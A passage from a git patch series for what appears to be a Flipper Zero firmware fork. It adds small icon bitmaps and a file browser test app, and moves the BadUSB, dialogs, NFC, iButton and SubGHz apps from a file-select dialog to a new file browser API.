Subject: [PATCH 233/461] upd --- assets/compiled/assets_icons.c | 12 ++++++++++++ assets/compiled/assets_icons.h | 3 +++ 2 files changed, 15 insertions(+) diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index d39a19ea1..e2ac18adc 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -40,6 +40,9 @@ const uint8_t* const _I_125_10px[] = {_I_125_10px_0}; const uint8_t _I_Nfc_10px_0[] = {0x00,0x80,0x00,0x00,0x01,0x22,0x02,0x43,0x02,0x45,0x02,0x49,0x02,0x31,0x02,0x22,0x02,0x00,0x01,0x80,0x00,}; const uint8_t* const _I_Nfc_10px[] = {_I_Nfc_10px_0}; +const uint8_t _I_back_10px_0[] = {0x00,0x00,0x00,0x10,0x00,0x38,0x00,0x7C,0x00,0xFE,0x00,0x38,0x00,0x38,0x00,0xF8,0x01,0xF8,0x01,0x00,0x00,}; +const uint8_t* const _I_back_10px[] = {_I_back_10px_0}; + const uint8_t _I_badusb_10px_0[] = {0x01,0x00,0x11,0x00,0x00,0x0f,0xe2,0x01,0xfc,0x80,0xdd,0x20,0x32,0x48,0x08,0x14,0x40,0x23,0xa8,0x08,0xa0,}; const uint8_t* const _I_badusb_10px[] = {_I_badusb_10px_0}; @@ -55,6 +58,12 @@ const uint8_t* const _I_ibutt_10px[] = {_I_ibutt_10px_0}; const uint8_t _I_ir_10px_0[] = {0x00,0xFC,0x00,0x02,0x01,0x79,0x02,0x84,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x58,0x00,0x78,0x00,0xFF,0x03,}; const uint8_t* const _I_ir_10px[] = {_I_ir_10px_0}; +const uint8_t _I_loading_10px_0[] = {0x00,0xFE,0x00,0x82,0x00,0xBA,0x00,0x54,0x00,0x28,0x00,0x28,0x00,0x44,0x00,0x92,0x00,0xBA,0x00,0xFE,0x00,}; +const uint8_t* const _I_loading_10px[] = {_I_loading_10px_0}; + +const uint8_t _I_music_10px_0[] = {0x01,0x00,0x10,0x00,0xf0,0x00,0x46,0x03,0x20,0x80,0x00,0x4e,0x7d,0x00,0x9f,0x80,0x4a,0x3c,0x13,0x20,}; +const uint8_t* const _I_music_10px[] = {_I_music_10px_0}; + const uint8_t _I_sub1_10px_0[] = {0x01,0x00,0x12,0x00,0x81,0x40,0x69,0x30,0x2c,0x2c,0x0b,0x6a,0x01,0x28,0x0c,0x0a,0x65,0x01,0x98,0x40,0x00,0x26,}; const uint8_t* const _I_sub1_10px[] = {_I_sub1_10px_0}; @@ -697,11 +706,14 @@ const Icon A_Levelup1_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rat const Icon A_Levelup2_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rate=2,.frames=_A_Levelup2_128x64}; const Icon I_125_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_125_10px}; const Icon I_Nfc_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Nfc_10px}; +const Icon I_back_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_back_10px}; const Icon I_badusb_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_badusb_10px}; const Icon I_ble_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ble_10px}; const Icon I_dir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_dir_10px}; const Icon I_ibutt_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ibutt_10px}; const Icon I_ir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ir_10px}; +const Icon I_loading_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_loading_10px}; +const Icon I_music_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_music_10px}; const Icon I_sub1_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_sub1_10px}; const Icon I_u2f_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_u2f_10px}; const Icon I_unknown_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_unknown_10px}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 8a28e203f..27e6eaed1 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -7,11 +7,14 @@ extern const Icon A_Levelup1_128x64; extern const Icon A_Levelup2_128x64; extern const Icon I_125_10px; extern const Icon I_Nfc_10px; +extern const Icon I_back_10px; extern const Icon I_badusb_10px; extern const Icon I_ble_10px; extern const Icon I_dir_10px; extern const Icon I_ibutt_10px; extern const Icon I_ir_10px; +extern const Icon I_loading_10px; +extern const Icon I_music_10px; extern const Icon I_sub1_10px; extern const Icon I_u2f_10px; extern const Icon I_unknown_10px; From 697b016805ef7d9489bdca3e1a227544f3904f9c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 18:02:39 +0300 Subject: [PATCH 234/461] fix file browser test --- applications/applications.c | 9 +++++++++ applications/applications.mk | 6 ++++++ assets/icons/Archive/back_10px.png | Bin 0 -> 154 bytes assets/icons/Archive/loading_10px.png | Bin 0 -> 173 bytes 4 files changed, 15 insertions(+) create mode 100644 assets/icons/Archive/back_10px.png create mode 100644 assets/icons/Archive/loading_10px.png diff --git a/applications/applications.c b/applications/applications.c index 53bbf730e..c932f86ce 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -45,6 +45,7 @@ extern int32_t vibro_test_app(void* p); extern int32_t bt_hid_app(void* p); extern int32_t battery_test_app(void* p); extern int32_t text_box_test_app(void* p); +extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); @@ -479,6 +480,14 @@ const FlipperApplication FLIPPER_DEBUG_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_FILE_BROWSER_TEST + {.app = file_browser_app, + .name = "File Browser test", + .stack_size = 2048, + .icon = &A_BadUsb_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_BATTERY_TEST {.app = battery_test_app, .name = "Battery Test", diff --git a/applications/applications.mk b/applications/applications.mk index 873cc6077..30dffbcaf 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -64,6 +64,7 @@ APP_USB_MOUSE = 1 APP_BAD_USB = 1 APP_U2F = 1 APP_UART_ECHO = 1 +APP_FILE_BROWSER_TEST = 1 endif @@ -209,6 +210,11 @@ CFLAGS += -DAPP_KEYPAD_TEST SRV_GUI = 1 endif +APP_FILE_BROWSER_TEST ?= 0 +ifeq ($(APP_FILE_BROWSER_TEST), 1) +CFLAGS += -DAPP_FILE_BROWSER_TEST +SRV_GUI = 1 +endif APP_ACCESSOR ?= 0 ifeq ($(APP_ACCESSOR), 1) diff --git a/assets/icons/Archive/back_10px.png b/assets/icons/Archive/back_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..008efe82fa129f55c8efa77688dd507f31398896 GIT binary patch literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V6Od#Ih`sfGge++G4X{LmR$r2S$euShDcma{&W9q1G|A@v4nS_xAT(=AqI)BoYRaGO@;Li wag`sfGge++QC**pItze8KAtX)ArhBs`vdt77;ren`<{QJxM$1n6@^=3kBM_gs5bkj zOgNacP$Dkno^tQ4ONX;p$w=sbzP$Pyzt8HuHJfiox2e6^5wrUCr{B&G7(ZT+pZ{3J RO%!M@gQu&X%Q~loCIH;wIT`=} literal 0 HcmV?d00001 From 6634999113feceb3736319911b03cb8b38d4ed93 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 22:12:40 +0300 Subject: [PATCH 235/461] fetch big commit from upstream --- applications/bad_usb/bad_usb_app.c | 37 ++--- applications/bad_usb/bad_usb_app_i.h | 3 +- .../scenes/bad_usb_scene_file_select.c | 14 +- .../bad_usb/scenes/bad_usb_scene_work.c | 9 +- applications/bad_usb/views/bad_usb_view.c | 8 +- applications/bad_usb/views/bad_usb_view.h | 2 +- .../file_browser_test/file_browser_app.c | 2 +- .../scenes/file_browser_scene_browser.c | 4 +- applications/desktop/desktop.c | 7 +- applications/dialogs/dialogs.c | 7 +- applications/dialogs/dialogs.h | 25 ++-- applications/dialogs/dialogs_api.c | 29 ++-- applications/dialogs/dialogs_message.h | 16 ++- .../dialogs/dialogs_module_file_browser.c | 59 ++++++++ .../dialogs/dialogs_module_file_browser.h | 12 ++ applications/gui/modules/file_browser.c | 16 ++- applications/gui/modules/file_browser.h | 6 +- .../gui/modules/file_browser_worker.c | 20 +-- .../gui/modules/file_browser_worker.h | 4 +- applications/gui/modules/validators.c | 5 +- applications/ibutton/ibutton.c | 91 +++++------- applications/ibutton/ibutton_i.h | 3 +- .../ibutton/scenes/ibutton_scene_add_type.c | 3 +- .../scenes/ibutton_scene_delete_confirm.c | 9 +- .../ibutton/scenes/ibutton_scene_emulate.c | 14 +- .../ibutton/scenes/ibutton_scene_info.c | 9 +- .../ibutton/scenes/ibutton_scene_read.c | 2 +- .../ibutton/scenes/ibutton_scene_save_name.c | 24 +++- .../ibutton/scenes/ibutton_scene_start.c | 1 + .../ibutton/scenes/ibutton_scene_write.c | 15 +- applications/infrared/infrared_app.cpp | 17 +-- applications/infrared/infrared_app.h | 2 + .../infrared/infrared_app_remote_manager.cpp | 130 ++++++++++++------ .../infrared/infrared_app_remote_manager.h | 27 ++-- .../scene/infrared_app_scene_edit_rename.cpp | 13 +- .../scene/infrared_app_scene_remote_list.cpp | 19 ++- .../scene/infrared_app_scene_start.cpp | 2 + applications/lfrfid/lfrfid_app.cpp | 64 ++++----- applications/lfrfid/lfrfid_app.h | 7 +- .../scene/lfrfid_app_scene_save_name.cpp | 12 +- applications/music_player/music_player.c | 20 +-- applications/nfc/nfc_device.c | 116 +++++++++++----- applications/nfc/nfc_device.h | 7 +- applications/nfc/scenes/nfc_scene_delete.c | 2 +- applications/nfc/scenes/nfc_scene_save_name.c | 19 ++- .../nfc/scenes/nfc_scene_save_success.c | 3 - .../nfc/scenes/nfc_scene_saved_menu.c | 2 +- applications/nfc/scenes/nfc_scene_set_type.c | 2 + .../notification/notification_settings_app.c | 5 +- applications/snake_game/snake_game.c | 7 - .../subghz/scenes/subghz_scene_delete.c | 2 +- .../subghz/scenes/subghz_scene_delete_raw.c | 4 +- .../subghz/scenes/subghz_scene_more_raw.c | 2 +- .../subghz/scenes/subghz_scene_save_name.c | 52 +++---- .../subghz/scenes/subghz_scene_transmitter.c | 2 +- applications/subghz/subghz_cli.c | 2 +- applications/subghz/subghz_history.c | 4 +- applications/subghz/subghz_i.c | 52 +++---- applications/subghz/views/receiver.c | 6 +- applications/subghz/views/subghz_read_raw.c | 16 +-- applications/subghz/views/transmitter.c | 6 +- assets/icons/Archive/music_10px.png | Bin 0 -> 142 bytes firmware/targets/f7/target.mk | 3 +- lib/one_wire/ibutton/ibutton_key.c | 9 -- lib/one_wire/ibutton/ibutton_key.h | 14 -- lib/subghz/subghz_keystore.c | 1 - lib/toolbox/path.c | 14 ++ lib/toolbox/path.h | 9 ++ 68 files changed, 655 insertions(+), 475 deletions(-) create mode 100644 applications/dialogs/dialogs_module_file_browser.c create mode 100644 applications/dialogs/dialogs_module_file_browser.h create mode 100644 assets/icons/Archive/music_10px.png diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index eb647e004..65ccc575b 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -1,4 +1,5 @@ #include "bad_usb_app_i.h" +#include "m-string.h" #include #include #include @@ -22,33 +23,13 @@ static void bad_usb_app_tick_event_callback(void* context) { scene_manager_handle_tick_event(app->scene_manager); } -static bool bad_usb_check_assets() { - Storage* fs_api = furi_record_open("storage"); - - File* dir = storage_file_alloc(fs_api); - bool ret = false; - - if(storage_dir_open(dir, BAD_USB_APP_PATH_FOLDER)) { - ret = true; - } - - storage_dir_close(dir); - storage_file_free(dir); - - furi_record_close("storage"); - - return ret; -} - BadUsbApp* bad_usb_app_alloc(char* arg) { BadUsbApp* app = malloc(sizeof(BadUsbApp)); + string_init(app->file_path); + if(arg != NULL) { - string_t filename; - string_init(filename); - path_extract_filename_no_ext(arg, filename); - strncpy(app->file_name, string_get_cstr(filename), BAD_USB_FILE_NAME_LEN); - string_clear(filename); + string_set_str(app->file_path, arg); } app->gui = furi_record_open("gui"); @@ -83,13 +64,11 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { app->error = BadUsbAppErrorCloseRpc; scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } else { - if(*app->file_name != '\0') { + if(!string_empty_p(app->file_path)) { scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); - } else if(bad_usb_check_assets()) { - scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); } else { - app->error = BadUsbAppErrorNoFiles; - scene_manager_next_scene(app->scene_manager, BadUsbSceneError); + string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER); + scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); } } @@ -117,6 +96,8 @@ void bad_usb_app_free(BadUsbApp* app) { furi_record_close("notification"); furi_record_close("dialogs"); + string_clear(app->file_path); + free(app); } diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index 67f5816b8..c82419e0f 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -16,7 +16,6 @@ #define BAD_USB_APP_PATH_FOLDER "/any/badusb" #define BAD_USB_APP_EXTENSION ".txt" -#define BAD_USB_FILE_NAME_LEN 40 typedef enum { BadUsbAppErrorNoFiles, @@ -32,7 +31,7 @@ struct BadUsbApp { Widget* widget; BadUsbAppError error; - char file_name[BAD_USB_FILE_NAME_LEN + 1]; + string_t file_path; BadUsb* bad_usb_view; BadUsbScript* bad_usb_script; }; diff --git a/applications/bad_usb/scenes/bad_usb_scene_file_select.c b/applications/bad_usb/scenes/bad_usb_scene_file_select.c index 82f03bab0..1e6ba895a 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_file_select.c +++ b/applications/bad_usb/scenes/bad_usb_scene_file_select.c @@ -5,14 +5,16 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) { furi_assert(bad_usb); - // Input events and views are managed by file_select - bool res = dialog_file_select_show( + // Input events and views are managed by file_browser + bool res = dialog_file_browser_show( bad_usb->dialogs, - BAD_USB_APP_PATH_FOLDER, + bad_usb->file_path, + bad_usb->file_path, BAD_USB_APP_EXTENSION, - bad_usb->file_name, - sizeof(bad_usb->file_name), - NULL); + true, + &I_badusb_10px, + true); + return res; } diff --git a/applications/bad_usb/scenes/bad_usb_scene_work.c b/applications/bad_usb/scenes/bad_usb_scene_work.c index a3a46803a..516cbde3a 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/bad_usb/scenes/bad_usb_scene_work.c @@ -2,6 +2,8 @@ #include "../bad_usb_app_i.h" #include "../views/bad_usb_view.h" #include "furi_hal.h" +#include "m-string.h" +#include "toolbox/path.h" void bad_usb_scene_work_ok_callback(InputType type, void* context) { furi_assert(context); @@ -28,10 +30,9 @@ void bad_usb_scene_work_on_enter(void* context) { string_t file_name; string_init(file_name); - bad_usb_set_file_name(app->bad_usb_view, app->file_name); - string_printf( - file_name, "%s/%s%s", BAD_USB_APP_PATH_FOLDER, app->file_name, BAD_USB_APP_EXTENSION); - app->bad_usb_script = bad_usb_script_open(file_name); + path_extract_filename(app->file_path, file_name, true); + bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name)); + app->bad_usb_script = bad_usb_script_open(app->file_path); string_clear(file_name); diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 5b6fe6e89..430885df3 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -2,6 +2,8 @@ #include "../bad_usb_script.h" #include +#define MAX_NAME_LEN 64 + struct BadUsb { View* view; BadUsbOkCallback callback; @@ -9,7 +11,7 @@ struct BadUsb { }; typedef struct { - char* file_name; + char file_name[MAX_NAME_LEN]; BadUsbState state; uint8_t anim_frame; } BadUsbModel; @@ -149,11 +151,11 @@ void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* c }); } -void bad_usb_set_file_name(BadUsb* bad_usb, char* name) { +void bad_usb_set_file_name(BadUsb* bad_usb, const char* name) { furi_assert(name); with_view_model( bad_usb->view, (BadUsbModel * model) { - model->file_name = name; + strncpy(model->file_name, name, MAX_NAME_LEN); return true; }); } diff --git a/applications/bad_usb/views/bad_usb_view.h b/applications/bad_usb/views/bad_usb_view.h index f5a8a0fab..80a47e2ca 100755 --- a/applications/bad_usb/views/bad_usb_view.h +++ b/applications/bad_usb/views/bad_usb_view.h @@ -14,6 +14,6 @@ View* bad_usb_get_view(BadUsb* bad_usb); void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context); -void bad_usb_set_file_name(BadUsb* bad_usb, char* name); +void bad_usb_set_file_name(BadUsb* bad_usb, const char* name); void bad_usb_set_state(BadUsb* bad_usb, BadUsbState* st); diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c index a408f5cde..c9b63ecb0 100644 --- a/applications/debug_tools/file_browser_test/file_browser_app.c +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -48,7 +48,7 @@ FileBrowserApp* file_browser_app_alloc(char* arg) { app->widget = widget_alloc(); string_init(app->file_path); - app->file_browser = file_browser_alloc(&(app->file_path)); + app->file_browser = file_browser_alloc(app->file_path); file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); view_dispatcher_add_view( diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c index 9c570cec0..ca16ad0d1 100644 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -20,12 +20,10 @@ bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) return consumed; } -static void file_browser_callback(void* context, bool state) { +static void file_browser_callback(void* context) { FileBrowserApp* app = context; furi_assert(app); view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); - - UNUSED(state); } void file_browser_scene_browser_on_enter(void* context) { diff --git a/applications/desktop/desktop.c b/applications/desktop/desktop.c index 514166375..34c169e07 100644 --- a/applications/desktop/desktop.c +++ b/applications/desktop/desktop.c @@ -56,12 +56,7 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { return true; case DesktopGlobalAutoLock: if(!loader_is_locked(desktop->loader)) { - if(desktop->settings.pin_code.length > 0) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - } else { - desktop_lock(desktop); - } + desktop_lock(desktop); } return true; } diff --git a/applications/dialogs/dialogs.c b/applications/dialogs/dialogs.c index cf4a2ad68..8929dc116 100644 --- a/applications/dialogs/dialogs.c +++ b/applications/dialogs/dialogs.c @@ -1,6 +1,7 @@ +#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" -#include "dialogs_module_file_select.h" +#include "dialogs_module_file_browser.h" #include "dialogs_module_message.h" static DialogsApp* dialogs_app_alloc() { @@ -13,9 +14,9 @@ static DialogsApp* dialogs_app_alloc() { static void dialogs_app_process_message(DialogsApp* app, DialogsAppMessage* message) { UNUSED(app); switch(message->command) { - case DialogsAppCommandFileOpen: + case DialogsAppCommandFileBrowser: message->return_data->bool_value = - dialogs_app_process_module_file_select(&message->data->file_select); + dialogs_app_process_module_file_browser(&message->data->file_browser); break; case DialogsAppCommandDialog: message->return_data->dialog_value = diff --git a/applications/dialogs/dialogs.h b/applications/dialogs/dialogs.h index 9c71c0989..536060565 100644 --- a/applications/dialogs/dialogs.h +++ b/applications/dialogs/dialogs.h @@ -1,6 +1,7 @@ #pragma once #include #include +#include "m-string.h" #ifdef __cplusplus extern "C" { @@ -10,25 +11,27 @@ extern "C" { typedef struct DialogsApp DialogsApp; -/****************** FILE SELECT ******************/ +/****************** FILE BROWSER ******************/ /** - * Shows and processes the file selection dialog + * Shows and processes the file browser dialog * @param context api pointer - * @param path path to directory + * @param result_path selected file path string pointer + * @param path preselected file path string pointer * @param extension file extension to be offered for selection - * @param selected_filename buffer where the selected filename will be saved - * @param selected_filename_size and the size of this buffer - * @param preselected_filename filename to be preselected + * @param skip_assets true - do not show assets folders + * @param icon file icon pointer, NULL for default icon + * @param hide_ext true - hide extensions for files * @return bool whether a file was selected */ -bool dialog_file_select_show( +bool dialog_file_browser_show( DialogsApp* context, - const char* path, + string_ptr result_path, + string_ptr path, const char* extension, - char* result, - uint8_t result_size, - const char* preselected_filename); + bool skip_assets, + const Icon* icon, + bool hide_ext); /****************** MESSAGE ******************/ diff --git a/applications/dialogs/dialogs_api.c b/applications/dialogs/dialogs_api.c index c4efb287d..fab3a5eae 100644 --- a/applications/dialogs/dialogs_api.c +++ b/applications/dialogs/dialogs_api.c @@ -1,31 +1,36 @@ +#include "dialogs/dialogs_message.h" #include "dialogs_i.h" #include "dialogs_api_lock.h" +#include "m-string.h" -/****************** File select ******************/ +/****************** File browser ******************/ -bool dialog_file_select_show( +bool dialog_file_browser_show( DialogsApp* context, - const char* path, + string_ptr result_path, + string_ptr path, const char* extension, - char* result, - uint8_t result_size, - const char* preselected_filename) { + bool skip_assets, + const Icon* icon, + bool hide_ext) { FuriApiLock lock = API_LOCK_INIT_LOCKED(); furi_check(lock != NULL); DialogsAppData data = { - .file_select = { - .path = path, + .file_browser = { .extension = extension, - .result = result, - .result_size = result_size, - .preselected_filename = preselected_filename, + .result_path = result_path, + .file_icon = icon, + .hide_ext = hide_ext, + .skip_assets = skip_assets, + .preselected_filename = path, + }}; DialogsAppReturn return_data; DialogsAppMessage message = { .lock = lock, - .command = DialogsAppCommandFileOpen, + .command = DialogsAppCommandFileBrowser, .data = &data, .return_data = &return_data, }; diff --git a/applications/dialogs/dialogs_message.h b/applications/dialogs/dialogs_message.h index d7b5fabf4..ccfbdece5 100644 --- a/applications/dialogs/dialogs_message.h +++ b/applications/dialogs/dialogs_message.h @@ -2,25 +2,27 @@ #include #include "dialogs_i.h" #include "dialogs_api_lock.h" +#include "m-string.h" #ifdef __cplusplus extern "C" { #endif typedef struct { - const char* path; const char* extension; - char* result; - uint8_t result_size; - const char* preselected_filename; -} DialogsAppMessageDataFileSelect; + bool skip_assets; + bool hide_ext; + const Icon* file_icon; + string_ptr result_path; + string_ptr preselected_filename; +} DialogsAppMessageDataFileBrowser; typedef struct { const DialogMessage* message; } DialogsAppMessageDataDialog; typedef union { - DialogsAppMessageDataFileSelect file_select; + DialogsAppMessageDataFileBrowser file_browser; DialogsAppMessageDataDialog dialog; } DialogsAppData; @@ -30,7 +32,7 @@ typedef union { } DialogsAppReturn; typedef enum { - DialogsAppCommandFileOpen, + DialogsAppCommandFileBrowser, DialogsAppCommandDialog, } DialogsAppCommand; diff --git a/applications/dialogs/dialogs_module_file_browser.c b/applications/dialogs/dialogs_module_file_browser.c new file mode 100644 index 000000000..ecd0ca79b --- /dev/null +++ b/applications/dialogs/dialogs_module_file_browser.c @@ -0,0 +1,59 @@ +#include "dialogs_i.h" +#include "dialogs_api_lock.h" +#include "gui/modules/file_browser.h" + +typedef struct { + FuriApiLock lock; + bool result; +} DialogsAppFileBrowserContext; + +static void dialogs_app_file_browser_back_callback(void* context) { + furi_assert(context); + DialogsAppFileBrowserContext* file_browser_context = context; + file_browser_context->result = false; + API_LOCK_UNLOCK(file_browser_context->lock); +} + +static void dialogs_app_file_browser_callback(void* context) { + furi_assert(context); + DialogsAppFileBrowserContext* file_browser_context = context; + file_browser_context->result = true; + API_LOCK_UNLOCK(file_browser_context->lock); +} + +bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data) { + bool ret = false; + Gui* gui = furi_record_open("gui"); + + DialogsAppFileBrowserContext* file_browser_context = + malloc(sizeof(DialogsAppFileBrowserContext)); + file_browser_context->lock = API_LOCK_INIT_LOCKED(); + + ViewHolder* view_holder = view_holder_alloc(); + view_holder_attach_to_gui(view_holder, gui); + view_holder_set_back_callback( + view_holder, dialogs_app_file_browser_back_callback, file_browser_context); + + FileBrowser* file_browser = file_browser_alloc(data->result_path); + file_browser_set_callback( + file_browser, dialogs_app_file_browser_callback, file_browser_context); + file_browser_configure( + file_browser, data->extension, data->skip_assets, data->file_icon, data->hide_ext); + file_browser_start(file_browser, data->preselected_filename); + + view_holder_set_view(view_holder, file_browser_get_view(file_browser)); + view_holder_start(view_holder); + API_LOCK_WAIT_UNTIL_UNLOCK(file_browser_context->lock); + + ret = file_browser_context->result; + + view_holder_stop(view_holder); + view_holder_free(view_holder); + file_browser_stop(file_browser); + file_browser_free(file_browser); + API_LOCK_FREE(file_browser_context->lock); + free(file_browser_context); + furi_record_close("gui"); + + return ret; +} diff --git a/applications/dialogs/dialogs_module_file_browser.h b/applications/dialogs/dialogs_module_file_browser.h new file mode 100644 index 000000000..b6cbdf6a5 --- /dev/null +++ b/applications/dialogs/dialogs_module_file_browser.h @@ -0,0 +1,12 @@ +#pragma once +#include "dialogs_message.h" + +#ifdef __cplusplus +extern "C" { +#endif + +bool dialogs_app_process_module_file_browser(const DialogsAppMessageDataFileBrowser* data); + +#ifdef __cplusplus +} +#endif diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c index 919750962..1cef1d079 100644 --- a/applications/gui/modules/file_browser.c +++ b/applications/gui/modules/file_browser.c @@ -10,6 +10,7 @@ #include #include #include +#include "toolbox/path.h" #define LIST_ITEMS 5u #define MAX_LEN_PX 110 @@ -60,13 +61,13 @@ ARRAY_DEF( struct FileBrowser { View* view; BrowserWorker* worker; - char* ext_filter; + const char* ext_filter; bool skip_assets; FileBrowserCallback callback; void* context; - string_t* result_path; + string_ptr result_path; }; typedef struct { @@ -100,7 +101,7 @@ static void browser_list_load_cb(void* context, uint32_t list_load_offset); static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); static void browser_long_load_cb(void* context); -FileBrowser* file_browser_alloc(string_t* result_path) { +FileBrowser* file_browser_alloc(string_ptr result_path) { furi_assert(result_path); FileBrowser* browser = malloc(sizeof(FileBrowser)); browser->view = view_alloc(); @@ -140,7 +141,7 @@ View* file_browser_get_view(FileBrowser* browser) { void file_browser_configure( FileBrowser* browser, - char* extension, + const char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext) { @@ -250,6 +251,7 @@ static void with_view_model( browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); if(is_root) { model->item_cnt = item_cnt; model->item_idx = (file_idx > 0) ? file_idx : 0; @@ -383,7 +385,7 @@ static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { BrowserItem_t* item = items_array_get( model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); item_type = item->type; - file_browser_worker_get_filename( + path_extract_filename( item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); } else { string_set_str(filename, "---"); @@ -505,9 +507,9 @@ static bool file_browser_view_input_callback(InputEvent* event, void* context) { file_browser_worker_folder_enter( browser->worker, selected_item->path, select_index); } else if(selected_item->type == BrowserItemTypeFile) { - string_set(*(browser->result_path), selected_item->path); + string_set(browser->result_path, selected_item->path); if(browser->callback) { - browser->callback(browser->context, true); + browser->callback(browser->context); } } } diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h index b77c6e65c..ebc64509a 100644 --- a/applications/gui/modules/file_browser.h +++ b/applications/gui/modules/file_browser.h @@ -13,9 +13,9 @@ extern "C" { #endif typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context, bool state); +typedef void (*FileBrowserCallback)(void* context); -FileBrowser* file_browser_alloc(string_t* result_path); +FileBrowser* file_browser_alloc(string_ptr result_path); void file_browser_free(FileBrowser* browser); @@ -23,7 +23,7 @@ View* file_browser_get_view(FileBrowser* browser); void file_browser_configure( FileBrowser* browser, - char* extension, + const char* extension, bool skip_assets, const Icon* file_icon, bool hide_ext); diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c index 13fc97111..93baba008 100644 --- a/applications/gui/modules/file_browser_worker.c +++ b/applications/gui/modules/file_browser_worker.c @@ -8,6 +8,7 @@ #include #include #include +#include "toolbox/path.h" #define TAG "BrowserWorker" @@ -149,6 +150,7 @@ static bool browser_folder_init( (*item_cnt)++; } if(total_files_cnt == LONG_LOAD_THRESHOLD) { + // There are too many files in folder and counting them will take some time - send callback to app if(browser->long_load_cb) { browser->long_load_cb(browser->cb_ctx); } @@ -255,7 +257,7 @@ static int32_t browser_worker(void* context) { string_t filename; string_init(filename); if(browser_path_is_file(browser->path_next)) { - file_browser_worker_get_filename(browser->path_next, filename, false); + path_extract_filename(browser->path_next, filename, false); } osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); @@ -319,21 +321,7 @@ static int32_t browser_worker(void* context) { return 0; } -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { +BrowserWorker* file_browser_worker_alloc(string_t path, const 